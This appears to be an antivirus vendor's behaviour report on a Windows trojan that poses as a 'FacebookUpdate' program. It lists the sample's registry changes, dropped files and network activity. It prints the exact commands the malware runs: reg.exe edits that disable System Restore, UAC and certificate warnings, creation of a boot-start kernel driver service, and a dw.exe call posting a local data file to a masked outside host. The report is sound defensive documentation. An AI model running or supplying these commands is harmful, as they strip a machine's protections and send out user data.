Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'FacebookUpdate' = '%TEMP%\facebookupdate.exe'
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\G5613] 'Start' = '00000000'
Malicious functions:
To complicate detection of its presence in the operating system,
blocks the following features:
- System Restore (SR)
- User Account Control (UAC)
Creates and executes the following:
- '%TEMP%\dw.exe' http://br####.#egistroon-line.com/ "%APPDATA%\KB_UR.dat" /post /delete
- '%TEMP%\facebookupdate.exe'
Executes the following:
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\ping.exe' 72.14.204.83 -n 1 -l 1
- '<SYSTEM32>\find.exe' "TTL"
- '<SYSTEM32>\sc.exe' create "G5613" binpath= "system32\drivers\sounddevice.sys" start= boot type= kernel error= ignore group= "GPlugin Group" DisplayName= GKernelRoot
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "FacebookUpdate" /t REG_SZ /d "%TEMP%\facebookupdate.exe" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
Modifies settings of Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'
Modifies file system :
Creates the following files:
- C:\tUR.vbs
- <DRIVERS>\sounddevice.sys
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\ads[1].php
- %TEMP%\p.vbs
- %TEMP%\thumbz.db
- %TEMP%\facebookupdate.exe
- %TEMP%\sounddevice.sys
- %TEMP%\~1.bat
- %TEMP%\dw.exe
Sets the 'hidden' attribute to the following files:
- %TEMP%\~1.bat
Network activity:
Connects to:
- 'br####.#egistroon-line.com':80
- 're#.###istroon-line.com':80
- 'localhost':1036
TCP:
HTTP GET requests:
- re#.###istroon-line.com/ads.php?a=########################
UDP:
- DNS ASK br####.#egistroon-line.com
- DNS ASK re#.###istroon-line.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
